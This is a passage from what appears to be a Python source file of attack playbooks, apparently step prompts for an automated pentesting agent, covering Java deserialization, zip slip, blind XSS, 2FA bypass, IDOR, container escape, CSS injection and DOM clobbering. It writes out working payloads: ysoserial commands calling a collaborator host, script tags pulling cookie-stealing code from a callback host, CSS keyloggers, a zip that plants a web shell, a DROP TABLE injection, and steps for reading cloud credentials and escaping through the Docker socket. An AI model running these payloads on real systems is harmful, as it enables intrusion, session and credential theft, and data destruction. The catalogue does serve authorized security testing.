"Generate ysoserial payloads for common libraries: java -jar ysoserial.jar CommonsCollections1 'curl COLLABORATOR'. Try: CommonsCollections1-7, CommonsBeansutils1, Spring1-2, Groovy1, JRMPClient.",
|
||
"Submit payload in place of legitimate serialized data. Check for OOB callback.",
|
||
"If library versions unknown, try all ysoserial gadget chains systematically. Different chains work with different library versions.",
|
||
"Test DNS-based detection first: java -jar ysoserial.jar URLDNS 'http://COLLABORATOR'. This uses built-in Java classes (no external deps).",
|
||
"For WebLogic: test T3/IIOP protocol deserialization on port 7001. For JBoss: test JMXInvokerServlet deserialization."
|
||
],
|
||
"expected_results": ["OOB callback confirming deserialization", "RCE via gadget chain"],
|
||
"decision_tree": {
|
||
"rce_confirmed": "CRITICAL - Java deserialization RCE",
|
||
"dns_callback_only": "HIGH - Deserialization confirmed, try more gadgets for RCE",
|
||
"error_but_processed": "MEDIUM - Input deserialized but no known gadget works",
|
||
"input_rejected": "Not using Java serialization or properly filtered"
|
||
}
|
||
}
|
||
],
|
||
"bypass_strategies": [
|
||
"Try all ysoserial gadget chains (different library deps)",
|
||
"Custom gadget chains for specific application libraries",
|
||
"Serialization filter bypass (JEP 290 bypass techniques)",
|
||
"GadgetProbe for library detection before exploitation"
|
||
],
|
||
"verification_checklist": ["OOB callback received from target server", "Command execution confirmed (output or side effect)", "Gadget chain identified (which library/version)", "Negative control: normal serialized data works correctly"],
|
||
"chain_attacks": ["Java deserialization → RCE → Full server compromise"],
|
||
"anti_false_positive": ["DNS callback via URLDNS only proves deserialization happens, NOT RCE", "Must prove command execution for critical severity", "Serialized data format doesn't guarantee exploitation"]
|
||
},
|
||
|
||
"zip_slip": {
|
||
"category": "file_access",
|
||
"title": "Zip Slip / Archive Path Traversal",
|
||
"overview": "Application extracts uploaded archives without validating entry paths. Crafted archives with ../../../ path entries can write files outside the intended extraction directory.",
|
||
"threat_model": "Attacker uploads a crafted ZIP/TAR archive containing entries with traversal paths (../../../etc/cron.d/malicious) that write files to arbitrary server locations when extracted.",
|
||
"discovery": [
|
||
"Find file upload endpoints that accept archives (ZIP, TAR, TAR.GZ)",
|
||
"Application extracts archives server-side (plugin upload, import, theme upload)",
|
||
"Test with crafted archive containing traversal paths"
|
||
],
|
||
"test_phases": [
|
||
{
|
||
"phase": 1,
|
||
"name": "Zip Slip Exploitation",
|
||
"prompts": [
|
||
"Create a malicious ZIP file with path traversal: python3 -c \"import zipfile; z=zipfile.ZipFile('evil.zip','w'); z.writestr('../../../../../../tmp/zipslip_test','pwned'); z.close()\".",
|
||
"Upload the crafted archive to the target's archive upload/import feature.",
|
||
"Verify file was written: check if /tmp/zipslip_test exists (may need LFI or command execution to verify).",
|
||
"For RCE: create archive with web shell at traversal path to webroot: ../../../../../../var/www/html/shell.php.",
|
||
"Test with TAR archives as well: tar cf evil.tar --absolute-names /../../tmp/zipslip_test.",
|
||
"Test with symlinks in archives: create archive containing symlink pointing to /etc/passwd, then a regular file that overwrites the symlink target."
|
||
],
|
||
"expected_results": ["File written outside extraction directory", "Web shell uploaded to webroot"],
|
||
"decision_tree": {
|
||
"rce_via_webshell": "CRITICAL - Web shell written to webroot",
|
||
"arbitrary_file_write": "HIGH - Files written outside extraction dir",
|
||
"extraction_safe": "Application validates archive entry paths"
|
||
}
|
||
}
|
||
],
|
||
"bypass_strategies": ["Different archive formats: ZIP, TAR, TAR.GZ, 7Z, RAR", "Symlink-based traversal", "Absolute paths in archive entries", "Unicode path confusion"],
|
||
"verification_checklist": ["File exists at traversal target path", "File content matches archive entry content", "File is outside the intended extraction directory", "Negative control: normal archive extracts correctly"],
|
||
"chain_attacks": ["Zip Slip → Web shell → RCE", "Zip Slip → Config overwrite → Application compromise"],
|
||
"anti_false_positive": ["Must verify file was written, not just that archive was accepted", "Server may reject traversal paths during extraction", "Cloud environments may not have writable directories at expected paths"]
|
||
},
|
||
|
||
"blind_xss": {
|
||
"category": "client_side",
|
||
"title": "Blind XSS / Out-of-Band XSS",
|
||
"overview": "XSS payloads that execute in a different context than where they're submitted: admin panels, email readers, log viewers, PDF generators, internal dashboards. Use callback-based payloads to detect execution.",
|
||
"threat_model": "Attacker submits XSS payload via public-facing input. Payload is stored and later rendered in an internal/admin context where it executes, stealing admin cookies/tokens.",
|
||
"discovery": [
|
||
"Identify inputs that may be viewed by admins: support tickets, user registrations, feedback forms, error reports, log messages",
|
||
"Use blind XSS platforms: XSS Hunter, bxss.me, or self-hosted callback",
|
||
"Submit payloads in all input fields, including unlikely ones (User-Agent, Referer)"
|
||
],
|
||
"test_phases": [
|
||
{
|
||
"phase": 1,
|
||
"name": "Blind XSS Payload Deployment",
|
||
"prompts": [
|
||
"Create blind XSS callback payload: <script src='https://CALLBACK_HOST/probe.js'></script> where probe.js exfiltrates document.cookie, document.location, DOM content, and takes a screenshot.",
|
||
"Submit the payload in EVERY input field: name, email, subject, message body, address, phone number, User-Agent header, Referer header, X-Forwarded-For.",
|
||
"Also submit in registration fields, feedback forms, support tickets, file upload filenames, and error/report fields.",
|
||
"Use multiple payload formats: <script src=...>, <img src=x onerror='fetch(...)'>, <svg/onload=fetch(...)>, <input onfocus=fetch(...) autofocus>.",
|
||
"Wait for callbacks: blind XSS may take hours/days to trigger when admin views the data.",
|
||
"When callback received: document the execution context (admin panel URL, cookies/tokens, IP address)."
|
||
],
|
||
"expected_results": ["Callback received from admin/internal context", "Admin session cookies/tokens captured"],
|
||
"decision_tree": {
|
||
"admin_session_stolen": "CRITICAL - Admin account compromise via blind XSS",
|
||
"callback_from_internal": "HIGH - Code execution in internal context",
|
||
"no_callback": "Payloads may not have been viewed yet, or are properly sanitized"
|
||
}
|
||
}
|
||
],
|
||
"bypass_strategies": ["Multiple payload formats for different rendering contexts", "URL encoding for fields that may decode", "Self-hosted callback to avoid blocklists", "IMG/SVG-based payloads for non-script contexts"],
|
||
"verification_checklist": ["Callback received from target's IP/network", "Execution context is admin/internal (different from submission context)", "Captured tokens/cookies provide authenticated access", "Screenshot shows admin panel or internal interface"],
|
||
"chain_attacks": ["Blind XSS → Admin session theft → Full admin access", "Blind XSS → Internal network reconnaissance"],
|
||
"anti_false_positive": ["Callback from own testing != blind XSS (ensure it's from target)", "Must demonstrate the payload was stored and triggered in different context", "Execution in attacker's own session = self-XSS, not blind XSS"]
|
||
},
|
||
|
||
"two_factor_bypass": {
|
||
"category": "authentication",
|
||
"title": "Two-Factor Authentication (2FA) Bypass",
|
||
"overview": "Circumventing second-factor authentication: code brute-force, backup code abuse, direct endpoint access, response manipulation, or race conditions in 2FA validation.",
|
||
"threat_model": "Attacker bypasses 2FA to gain access to accounts protected by second-factor authentication, negating the security benefit of MFA.",
|
||
"discovery": [
|
||
"Map the 2FA flow: login → 2FA prompt → 2FA validation → authenticated",
|
||
"Check if 2FA code has brute-force protection",
|
||
"Try accessing post-2FA endpoints directly",
|
||
"Check for backup codes and recovery options"
|
||
],
|
||
"test_phases": [
|
||
{
|
||
"phase": 1,
|
||
"name": "2FA Bypass Techniques",
|
||
"prompts": [
|
||
"Direct access bypass: after initial login, skip the 2FA step and directly access authenticated endpoints. If session is already partially authenticated, full access may be granted without 2FA.",
|
||
"Response manipulation: intercept 2FA verification response. Change {\"success\": false} to {\"success\": true} or change HTTP 401 to 200.",
|
||
"Code brute-force: if OTP is 4-6 digits, send all 10000/1000000 combinations. Check for rate limiting and account lockout.",
|
||
"Backup code abuse: try default backup codes, try '000000', try previous valid codes.",
|
||
"Race condition: send multiple 2FA verification requests simultaneously with different codes. One may be processed before the lockout.",
|
||
"CSRF on 2FA disable: can an attacker disable 2FA on victim's account via CSRF?",
|
||
"2FA code reuse: is a valid code reusable? Does it expire properly?"
|
||
],
|
||
"expected_results": ["2FA step bypassed", "Account accessed without valid 2FA code"],
|
||
"decision_tree": {
|
||
"direct_bypass": "CRITICAL - 2FA completely skippable",
|
||
"brute_force_possible": "HIGH - 2FA crackable via brute-force",
|
||
"response_manipulation": "HIGH - Client-side 2FA check bypassable",
|
||
"2fa_properly_enforced": "2FA implementation secure"
|
||
}
|
||
}
|
||
],
|
||
"bypass_strategies": ["Skip 2FA page, access endpoints directly", "Modify response status/body", "Brute-force with rate limit bypass", "Backup code abuse", "CSRF to disable 2FA", "Code reuse"],
|
||
"verification_checklist": ["Full authenticated access obtained without valid 2FA code", "Multiple endpoints accessible (not just one)", "Bypass is reproducible", "Negative control: invalid 2FA code is rejected normally"],
|
||
"chain_attacks": ["2FA bypass → Full account access → Data theft"],
|
||
"anti_false_positive": ["Partial access after first factor != 2FA bypass (check if sensitive data accessible)", "Response manipulation only works if server doesn't re-verify", "Must demonstrate actual authenticated access"]
|
||
},
|
||
|
||
"insecure_direct_object_reference": {
|
||
"category": "authorization",
|
||
"title": "Insecure Direct Object Reference (IDOR) - Files & Documents",
|
||
"overview": "Direct reference to files, documents, or downloads without authorization. Specifically targets file download/view endpoints where document IDs or filenames can be manipulated.",
|
||
"threat_model": "Attacker manipulates file/document reference identifiers to access other users' files, confidential documents, or internal resources.",
|
||
"discovery": [
|
||
"Find file download/view endpoints: /download?id=, /documents/{id}, /files/{filename}",
|
||
"Test with sequential IDs, other users' document IDs",
|
||
"Check if filename-based access has path traversal"
|
||
],
|
||
"test_phases": [
|
||
{
|
||
"phase": 1,
|
||
"name": "Document IDOR Detection",
|
||
"prompts": [
|
||
"Upload/create a document as userA. Note the document ID or URL. With userB's session, try accessing userA's document.",
|
||
"Test sequential IDs: if your document is /documents/1234, try /documents/1233, /documents/1235, /documents/1.",
|
||
"Test predictable filenames: /uploads/invoice_2024_001.pdf, /uploads/invoice_2024_002.pdf.",
|
||
"Test UUID-based access: if UUIDs are used, check if there's a listing endpoint that reveals other users' UUIDs.",
|
||
"Compare response DATA: verify you're seeing another user's document content, not a generic error or your own document.",
|
||
"Test bulk download: /api/documents/export?ids=1,2,3,4,5 to access multiple unauthorized documents."
|
||
],
|
||
"expected_results": ["Other user's document downloaded", "Unauthorized file access confirmed"],
|
||
"decision_tree": {
|
||
"other_users_files": "HIGH - Unauthorized document access",
|
||
"own_files_only": "Authorization properly enforced per document",
|
||
"predictable_ids": "MEDIUM - Enumerable but authorization may prevent access"
|
||
}
|
||
}
|
||
],
|
||
"bypass_strategies": ["Sequential ID enumeration", "UUID harvest from listing/search endpoints", "Path traversal in filename parameters", "Signed URL manipulation", "Thumbnail/preview endpoints may lack auth"],
|
||
"verification_checklist": ["Document content belongs to another user (verify content)", "Authorization check is missing (not just a different error)", "Multiple documents accessible (not just one)", "Negative control: own documents accessible normally"],
|
||
"chain_attacks": ["Document IDOR → PII exposure → Regulatory violation", "Document IDOR → Credential files → Further access"],
|
||
"anti_false_positive": ["Empty response or error != IDOR (must have actual unauthorized data)", "Own document with different format != other user's document", "Verify document ownership before claiming IDOR"]
|
||
},
|
||
|
||
"source_code_disclosure": {
|
||
"category": "data_exposure",
|
||
"title": "Source Code Disclosure",
|
||
"overview": "Application source code accessible via backup files, version control exposure, misconfigured handlers, or debug endpoints. Source code reveals vulnerabilities, credentials, and business logic.",
|
||
"threat_model": "Attacker obtains application source code to identify vulnerabilities, extract hardcoded credentials, understand business logic for more targeted attacks.",
|
||
"discovery": [
|
||
"Check /.git/HEAD, /.git/config for Git exposure",
|
||
"Check backup files: index.php.bak, index.php~, index.php.old, .index.php.swp",
|
||
"Check for source map files: *.js.map",
|
||
"Test extension-based disclosure: .phps, .inc, .txt"
|
||
],
|
||
"test_phases": [
|
||
{
|
||
"phase": 1,
|
||
"name": "Source Code Access",
|
||
"prompts": [
|
||
"Git exposure: GET /.git/HEAD. If returns 'ref: refs/heads/main', Git is exposed. Extract full source with: git-dumper or manual .git/objects/ enumeration.",
|
||
"Backup files: for each known file (index.php, config.php, app.js), try: .bak, .old, .orig, ~, .swp, .sav, .tmp, .copy, .1, .dist.",
|
||
"Source maps: for each JavaScript bundle, try appending .map (bundle.js.map). Source maps contain unminified source with variable names and comments.",
|
||
"Server misconfiguration: some servers serve .phps (PHP source highlighted), .inc (PHP include files), or respond to non-standard extensions with raw source.",
|
||
"SVN exposure: /.svn/entries, /.svn/wc.db — can extract full source code.",
|
||
"Download and analyze source code for: hardcoded credentials, SQL queries, business logic, API endpoints, and known vulnerable patterns."
|
||
],
|
||
"expected_results": ["Source code obtained", "Credentials/secrets in source", "Hidden endpoints discovered"],
|
||
"decision_tree": {
|
||
"full_source_code": "HIGH - Complete codebase accessible",
|
||
"partial_source": "MEDIUM - Some files accessible",
|
||
"credentials_in_source": "CRITICAL - Hardcoded secrets in exposed code",
|
||
"no_source_exposure": "Source code properly protected"
|
||
}
|
||
}
|
||
],
|
||
"bypass_strategies": ["Git: reconstruct from .git/objects if .git/ listing blocked", "Try all backup extensions systematically", "Source maps may exist in CDN even if blocked on main server", "Try TRACE/OPTIONS methods that may echo source"],
|
||
"verification_checklist": ["Source code is actual application code (not default/example)", "Code is current version (not outdated)", "Credentials found are valid and usable", "Source reveals actionable vulnerabilities"],
|
||
"chain_attacks": ["Source disclosure → Credential extraction → Auth bypass", "Source disclosure → Logic review → Business logic exploitation"],
|
||
"anti_false_positive": ["Default/example source code is not a finding", "Open-source application source is public by design", "Verify the source matches the running application version"]
|
||
},
|
||
|
||
"vulnerable_dependency": {
|
||
"category": "cloud_supply",
|
||
"title": "Vulnerable / Outdated Dependencies",
|
||
"overview": "Application uses libraries, frameworks, or components with known CVEs. Identify outdated dependencies and check if known exploits exist.",
|
||
"threat_model": "Attacker identifies outdated library version and uses publicly available exploits (CVE database, Exploit-DB, GitHub) to compromise the application.",
|
||
"discovery": [
|
||
"Check JavaScript libraries: look for version strings in source/comments",
|
||
"Check server headers for framework versions",
|
||
"Check /package.json, /composer.json, /requirements.txt, /Gemfile",
|
||
"Fingerprint technologies: Wappalyzer, WhatWeb, BuiltWith"
|
||
],
|
||
"test_phases": [
|
||
{
|
||
"phase": 1,
|
||
"name": "Dependency Version Discovery & CVE Mapping",
|
||
"prompts": [
|
||
"Fingerprint all technologies and versions: jQuery version (check $.fn.jquery in console), React version (React.version), Angular version (ng.version), Django/Rails from headers/error pages.",
|
||
"Search JavaScript for version comments: /* jQuery v3.3.1 */, /* Bootstrap v4.0.0 */.",
|
||
"Check for exposed dependency files: /package.json, /yarn.lock, /composer.lock, /Gemfile.lock, /requirements.txt, /pom.xml.",
|
||
"For each identified library+version, search NVD (nvd.nist.gov), Snyk, GitHub advisories for known CVEs.",
|
||
"Focus on high-impact CVEs: RCE, XSS, authentication bypass. Ignore DoS-only CVEs for pentesting.",
|
||
"Attempt to exploit confirmed CVEs: use public PoCs from GitHub, Exploit-DB, or generate payloads for the specific version."
|
||
],
|
||
"expected_results": ["Outdated libraries with known CVEs", "CVE exploitation successful"],
|
||
"decision_tree": {
|
||
"exploitable_cve": "HIGH-CRITICAL - Known CVE with working exploit",
|
||
"known_cve_no_exploit": "MEDIUM - Vulnerable version but no public exploit",
|
||
"outdated_no_cve": "LOW - Outdated but no known vulnerabilities",
|
||
"all_up_to_date": "Dependencies properly maintained"
|
||
}
|
||
}
|
||
],
|
||
"bypass_strategies": ["Check multiple version detection methods", "Some CVEs affect specific configurations only", "Test with exact PoC for the version"],
|
||
"verification_checklist": ["Library version confirmed (not just guessed)", "CVE applies to the specific version", "Exploit works against the target (not just theoretically)", "Impact is relevant to the deployment context"],
|
||
"chain_attacks": ["Outdated library → CVE exploit → RCE", "Vulnerable jQuery → Prototype pollution → XSS"],
|
||
"anti_false_positive": ["Version match doesn't guarantee vulnerability (may be patched)", "CVE may require specific configuration not present", "Must prove exploitability, not just version match"]
|
||
},
|
||
|
||
# ═══════════════════════════════════════════════════════════
|
||
# CHAPTER 6: REMAINING 30 TYPES (71-100)
|
||
# ═══════════════════════════════════════════════════════════
|
||
|
||
"orm_injection": {
|
||
"category": "injection",
|
||
"title": "ORM Injection (Hibernate/Sequelize/ActiveRecord)",
|
||
"overview": "Inject into ORM query languages (HQL, JPQL, Sequelize raw queries) that bypass parameterization. Test for query manipulation in frameworks using ORM layers.",
|
||
"threat_model": "Attacker manipulates ORM queries through parameters that are concatenated rather than bound, bypassing the ORM's SQL injection protection.",
|
||
"discovery": ["Find sort/filter/order parameters used in ORM queries", "Test HQL injection: ' or 1=1 or ''='", "Check for Sequelize raw query usage"],
|
||
"test_phases": [{"phase": 1, "name": "ORM Injection Detection", "prompts": [
|
||
"Test sort/order parameters for HQL injection: sort=name,(select+1+from+dual) — error confirms HQL context.",
|
||
"Test filter/where parameters: filter=status eq 'active' or '1'='1' for OData injection.",
|
||
"Sequelize: test JSON operators in filter params: {\"name\":{\"$like\":\"%admin%\"}} or {\"$or\":[{\"role\":\"admin\"}]}.",
|
||
"Hibernate HQL: test 'or 1=1-- in parameters used in createQuery() with string concatenation.",
|
||
"JPQL injection via ORDER BY: orderBy=name; DROP TABLE users-- (test for stacked queries)."
|
||
], "expected_results": ["ORM query manipulated", "Data extracted via ORM injection"], "decision_tree": {"data_extracted": "HIGH - ORM injection confirmed", "error_reveals_query": "MEDIUM - Query structure disclosed", "no_injection": "ORM properly parameterized"}}],
|
||
"bypass_strategies": ["HQL-specific syntax differs from SQL", "ORM error messages reveal query structure", "Sequelize operator injection via JSON"],
|
||
"verification_checklist": ["Query behavior changes with injection", "Data extracted that shouldn't be accessible", "ORM-specific syntax in payloads (not plain SQL)"],
|
||
"chain_attacks": ["ORM injection → Data extraction → Credential theft"],
|
||
"anti_false_positive": ["ORM error != injection (may be validation)", "Must show query manipulation, not just error"]
|
||
},
|
||
|
||
"graphql_dos": {
|
||
"category": "logic",
|
||
"title": "GraphQL Denial of Service (Query Complexity)",
|
||
"overview": "Exploit GraphQL's flexible query language to craft deeply nested or circular queries that consume excessive server resources.",
|
||
"threat_model": "Attacker sends deeply nested, aliased, or circular GraphQL queries that cause excessive CPU/memory usage, leading to denial of service.",
|
||
"discovery": ["Check for query depth limits", "Test nested relationship queries", "Test batch queries via aliases"],
|
||
"test_phases": [{"phase": 1, "name": "GraphQL DoS Testing", "prompts": [
|
||
"Test query depth: {user{friends{friends{friends{friends{friends{name}}}}}}}. Send with increasing depth until error or timeout.",
|
||
"Test alias bombing: {a0:user(id:1){name} a1:user(id:1){name} ... a999:user(id:1){name}} — 1000 aliases in one query.",
|
||
"Test circular fragments: fragment A on User {friends{...B}} fragment B on User {friends{...A}}.",
|
||
"Test field duplication: {user{name name name name name name name name...}} with 1000+ duplicate fields.",
|
||
"Measure response times: normal query vs nested query. 10x+ slowdown indicates missing complexity limits."
|
||
], "expected_results": ["Server timeout or crash", "Significant response time increase"], "decision_tree": {"dos_confirmed": "MEDIUM - GraphQL DoS possible", "limited_by_complexity": "Properly protected", "no_nested_relations": "Limited attack surface"}}],
|
||
"bypass_strategies": ["Circular fragments", "Alias bombing", "Field duplication", "Variable-based depth (bypass static analysis)"],
|
||
"verification_checklist": ["Response time significantly increased", "Server resources consumed (CPU/memory spike)", "Reproducible and impactful"],
|
||
"chain_attacks": ["GraphQL DoS → Service unavailability"],
|
||
"anti_false_positive": ["Slow response from network != DoS", "Must demonstrate resource consumption, not just slow query"]
|
||
},
|
||
|
||
"container_escape": {
|
||
"category": "cloud_supply",
|
||
"title": "Container Escape / Docker Breakout",
|
||
"overview": "Escape Docker or Kubernetes container to access the host system. Test for privileged containers, mounted host paths, capabilities, and kernel exploits.",
|
||
"threat_model": "Attacker in a container exploits misconfigurations (privileged mode, host mounts, capabilities) to break out and access the underlying host, compromising the entire infrastructure.",
|
||
"discovery": ["Check if running in container: /.dockerenv, /proc/1/cgroup", "Check container privileges and capabilities", "Look for mounted host paths"],
|
||
"test_phases": [{"phase": 1, "name": "Container Escape Detection", "prompts": [
|
||
"Check container environment: cat /proc/1/cgroup (container IDs), ls /.dockerenv, hostname (random = container).",
|
||
"Check privileges: cat /proc/self/status | grep Cap (capabilities), mount | grep docker.sock, ls /var/run/docker.sock.",
|
||
"If docker.sock mounted: curl --unix-socket /var/run/docker.sock http://localhost/containers/json — if works, can create new privileged container with host mount.",
|
||
"Check for host path mounts: mount command, df -h. Look for /host, /mnt/host, or other host filesystem mounts.",
|
||
"Check for privileged mode: if SYS_ADMIN capability present, can mount host filesystem: mkdir /host && mount /dev/sda1 /host.",
|
||
"Kubernetes: check for service account token at /var/run/secrets/kubernetes.io/serviceaccount/token. Use kubectl with this token."
|
||
], "expected_results": ["Host filesystem accessible", "Docker socket exposed", "Privileged container confirmed"], "decision_tree": {"host_access": "CRITICAL - Full host compromise", "docker_socket": "CRITICAL - Can spawn privileged containers", "limited_capabilities": "Test kernel exploits for escape"}}],
|
||
"bypass_strategies": ["Docker socket → spawn privileged container", "Host PID namespace → access host processes", "CAP_SYS_ADMIN → mount host disk", "Kernel exploits: CVE-2022-0185, CVE-2022-0847"],
|
||
"verification_checklist": ["Host filesystem readable from container", "Host processes visible", "New container can be spawned on host"],
|
||
"chain_attacks": ["Container escape → Host access → Lateral movement → Cloud compromise"],
|
||
"anti_false_positive": ["Reading /proc/1/cgroup is expected in containers", "Must demonstrate actual escape to host, not just container info"]
|
||
},
|
||
|
||
"serverless_misconfiguration": {
|
||
"category": "cloud_supply",
|
||
"title": "Serverless / Lambda Misconfiguration",
|
||
"overview": "Misconfigurations in serverless functions (AWS Lambda, Azure Functions, GCP Cloud Functions): excessive permissions, environment variable secrets, event injection, cold start abuse.",
|
||
"threat_model": "Attacker exploits serverless function misconfigurations to access cloud resources via over-privileged IAM roles, extract secrets from environment variables, or inject events.",
|
||
"discovery": ["Identify serverless function endpoints", "Check for environment variable exposure", "Test for event source injection"],
|
||
"test_phases": [{"phase": 1, "name": "Serverless Security Assessment", "prompts": [
|
||
"If SSRF/LFI exists: read /proc/self/environ to extract Lambda environment variables (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN).",
|
||
"Test event injection: if function processes S3 events, try uploading crafted objects. If processes SQS/SNS, try sending messages to the queue/topic.",
|
||
"Check function timeout: can you trigger long-running execution to cause billing spikes (denial of wallet)?",
|
||
"If function URL is publicly accessible: test all standard web vulnerabilities (injection, auth bypass, etc.).",
|
||
"Check cold start behavior: can you extract info during initialization that's not available during normal execution?",
|
||
"Use stolen credentials to enumerate: aws lambda list-functions, aws iam list-attached-role-policies."
|
||
], "expected_results": ["Lambda credentials extracted", "Excessive IAM permissions", "Event injection works"], "decision_tree": {"creds_extracted": "CRITICAL - Cloud access via Lambda creds", "excessive_iam": "HIGH - Overprivileged function", "event_injection": "MEDIUM - Unauthorized function triggers"}}],
|
||
"bypass_strategies": ["Environment variable extraction via SSRF/LFI", "Event source injection", "Concurrency limit exhaustion"],
|
||
"verification_checklist": ["Extracted credentials grant cloud access", "IAM role has unnecessary permissions", "Event injection triggers function execution"],
|
||
"chain_attacks": ["Lambda creds → Cloud resource access → Data theft"],
|
||
"anti_false_positive": ["Lambda env vars may contain non-sensitive config", "Verify credentials grant actual access beyond the function"]
|
||
},
|
||
|
||
"css_injection": {
|
||
"category": "client_side",
|
||
"title": "CSS Injection",
|
||
"overview": "User input rendered in CSS context. Inject CSS to exfiltrate data via attribute selectors, modify page appearance for phishing, or exploit browser-specific CSS features.",
|
||
"threat_model": "Attacker injects CSS to extract sensitive data from the page using attribute selectors + external URL loading, or modifies page appearance for phishing attacks.",
|
||
"discovery": ["Look for user input in style attributes or CSS blocks", "Test: color:red or background:url(http://callback)", "Check for style attribute injection"],
|
||
"test_phases": [{"phase": 1, "name": "CSS Injection & Data Exfiltration", "prompts": [
|
||
"Test basic injection: inject }body{background:red}/* or ;color:red; in style-related parameters. If page appearance changes, CSS injection confirmed.",
|
||
"Data exfiltration via attribute selectors: input[value^='a']{background:url('http://CALLBACK/a')} — brute-force CSRF tokens character by character.",
|
||
"Test @import for external CSS loading: @import url('http://CALLBACK/steal');",
|
||
"Test CSS keylogger: input[value$='a']{background:url(http://CALLBACK/a)} for each character — records keystrokes via CSS.",
|
||
"Test font-face data exfiltration: @font-face{font-family:x;src:url(http://CALLBACK/?token=)}."
|
||
], "expected_results": ["Page appearance modified", "Data exfiltrated via CSS selectors"], "decision_tree": {"data_exfiltration": "HIGH - CSRF tokens or sensitive data extracted", "phishing_via_css": "MEDIUM - Page modified for phishing", "limited_css": "LOW - Cosmetic only"}}],
|
||
"bypass_strategies": ["Attribute selectors for data extraction", "@import for external CSS", "expression() for old IE", "var() manipulation"],
|
||
"verification_checklist": ["CSS renders and affects page appearance", "Data exfiltration callback received", "Extracted data matches expected format"],
|
||
"chain_attacks": ["CSS injection → CSRF token extraction → CSRF attack"],
|
||
"anti_false_positive": ["CSS injection with no data on page = cosmetic only", "Must demonstrate actual data extraction or meaningful impact"]
|
||
},
|
||
|
||
"tabnabbing": {
|
||
"category": "client_side",
|
||
"title": "Reverse Tabnabbing",
|
||
"overview": "Links with target=_blank without rel=noopener allow the opened page to modify the opener's location via window.opener.location, redirecting the original tab to a phishing page.",
|
||
"threat_model": "Attacker's page opened via target=_blank redirects the original tab to a phishing page. User returns to the original tab, sees a fake login page, and enters credentials.",
|
||
"discovery": ["Find links with target='_blank'", "Check for rel='noopener' or rel='noreferrer'", "Test if window.opener is accessible"],
|
||
"test_phases": [{"phase": 1, "name": "Tabnabbing Detection", "prompts": [
|
||
"Find all links with target='_blank' (or links that open new tabs). Check if rel='noopener' or rel='noreferrer' is present.",
|
||
"If noopener is missing: create a test page that, when linked from the target app, executes: window.opener.location = 'http://attacker.com/phishing';",
|
||
"Verify the original tab navigates to the attacker's page.",
|
||
"Test in user-generated content: if users can post links (forums, comments), create a link to attacker page that exploits opener.",
|
||
"Check for programmatic window.open() calls without noopener in JavaScript."
|
||
], "expected_results": ["Original tab redirected to attacker page"], "decision_tree": {"tabnabbing_works": "LOW-MEDIUM - Phishing via reverse tabnabbing", "noopener_present": "Not vulnerable to tabnabbing"}}],
|
||
"bypass_strategies": ["JavaScript window.open without noopener", "User-generated links in content"],
|
||
"verification_checklist": ["Original tab navigates to attacker-controlled URL", "Attack works in modern browsers", "Scenario is realistic (user would return to original tab)"],
|
||
"chain_attacks": ["Tabnabbing → Phishing → Credential theft"],
|
||
"anti_false_positive": ["Most modern browsers now set noopener by default for cross-origin links", "Test in actual browser, not just source inspection"]
|
||
},
|
||
|
||
"postmessage_vulnerability": {
|
||
"category": "client_side",
|
||
"title": "PostMessage Vulnerability",
|
||
"overview": "Insecure use of window.postMessage: missing origin validation in message handlers, or sending sensitive data via postMessage to untrusted origins.",
|
||
"threat_model": "Attacker's page sends crafted postMessage to target iframe/window. If origin is not validated, attacker's message is processed, potentially triggering XSS or actions.",
|
||
"discovery": ["Search JS for addEventListener('message'", "Check if origin validation exists in handler", "Look for postMessage calls sending sensitive data"],
|
||
"test_phases": [{"phase": 1, "name": "PostMessage Security Analysis", "prompts": [
|
||
"Search JavaScript for message event handlers: addEventListener('message', ...) or onmessage. Analyze if event.origin is validated.",
|
||
"If no origin check: create attacker page that iframes the target and sends postMessage with payloads: parent.postMessage({action:'update', data:'<img src=x onerror=alert(1)>'}, '*').",
|
||
"Check if handler uses event.data in dangerous sinks: innerHTML, eval(), document.write(), window.location.",
|
||
"Test data exfiltration: if target sends postMessage to parent, embed target in attacker's iframe and capture messages.",
|
||
"Check for authentication token passing via postMessage between frames."
|
||
], "expected_results": ["XSS via postMessage", "Sensitive data captured from postMessage"], "decision_tree": {"xss_via_postmessage": "HIGH - XSS through message handler", "data_leak": "MEDIUM - Sensitive data in postMessage", "origin_validated": "PostMessage properly secured"}}],
|
||
"bypass_strategies": ["Null origin via sandboxed iframe", "Origin regex bypass: attacker-target.com matching *.target.com", "Race condition in origin check"],
|
||
"verification_checklist": ["Message from cross-origin accepted and processed", "Payload executed or data captured", "Origin validation is missing or bypassable"],
|
||
"chain_attacks": ["PostMessage XSS → Session hijacking", "PostMessage → Auth token theft"],
|
||
"anti_false_positive": ["PostMessage to same-origin is expected behavior", "Must demonstrate cross-origin exploitation"]
|
||
},
|
||
|
||
"dom_clobbering": {
|
||
"category": "client_side",
|
||
"title": "DOM Clobbering",
|
||
"overview": "Exploit HTML elements' named access on document/window to override JavaScript variables and properties. Forms and images with id/name attributes can shadow global variables.",
|
||
"threat_model": "Attacker injects HTML elements that clobber JavaScript global variables, bypassing security checks, modifying application logic, or achieving XSS.",
|
||
"discovery": ["Look for JavaScript accessing window.X or document.X properties", "Check if user-controlled HTML can add elements with specific id/name", "Test with <form name='X'> or <img name='X'>"],
|
||
"test_phases": [{"phase": 1, "name": "DOM Clobbering Exploitation", "prompts": [
|
||
"Identify JavaScript that reads global variables: if(window.config) {...}, if(document.getElementById('X')...), var url = window.defaultUrl || '...'.",
|
||
"Inject: <img name='config' src='x'> to clobber window.config. Or <form id='config'><input name='url' value='http://evil.com'></form>.",
|
||
"For URL clobbering: <a id='defaultUrl' href='http://evil.com'>. This makes window.defaultUrl point to the anchor element.",
|
||
"For nested property clobbering: <form id='config'><input id='config' name='apiUrl' value='http://evil.com'>. Accesses via window.config.apiUrl.",
|
||
"Check if clobbered variable is used in: script src, fetch URL, innerHTML, or security checks."
|
||
], "expected_results": ["JavaScript variable clobbered", "Application behavior changed"], "decision_tree": {"xss_via_clobbering": "HIGH - XSS through clobbered variable", "logic_bypass": "MEDIUM - Security check bypassed", "cosmetic_only": "LOW - No security impact"}}],
|
||
"bypass_strategies": ["Form/input pairs for nested properties", "Anchor elements for href/toString()", "Image elements for src property", "Named access via name attribute"],
|
||
"verification_checklist": ["JavaScript reads the clobbered value", "Application behavior changes", "Impact demonstrated (XSS, logic bypass)"],
|
||
"chain_attacks": ["DOM clobbering → XSS", "DOM clobbering → Bypass DOMPurify/sanitizer"],
|
||
"anti_false_positive": ["Clobbering possible but no code reads the property = no impact", "Must trace from clobbered element to exploitable code path"]
|
||
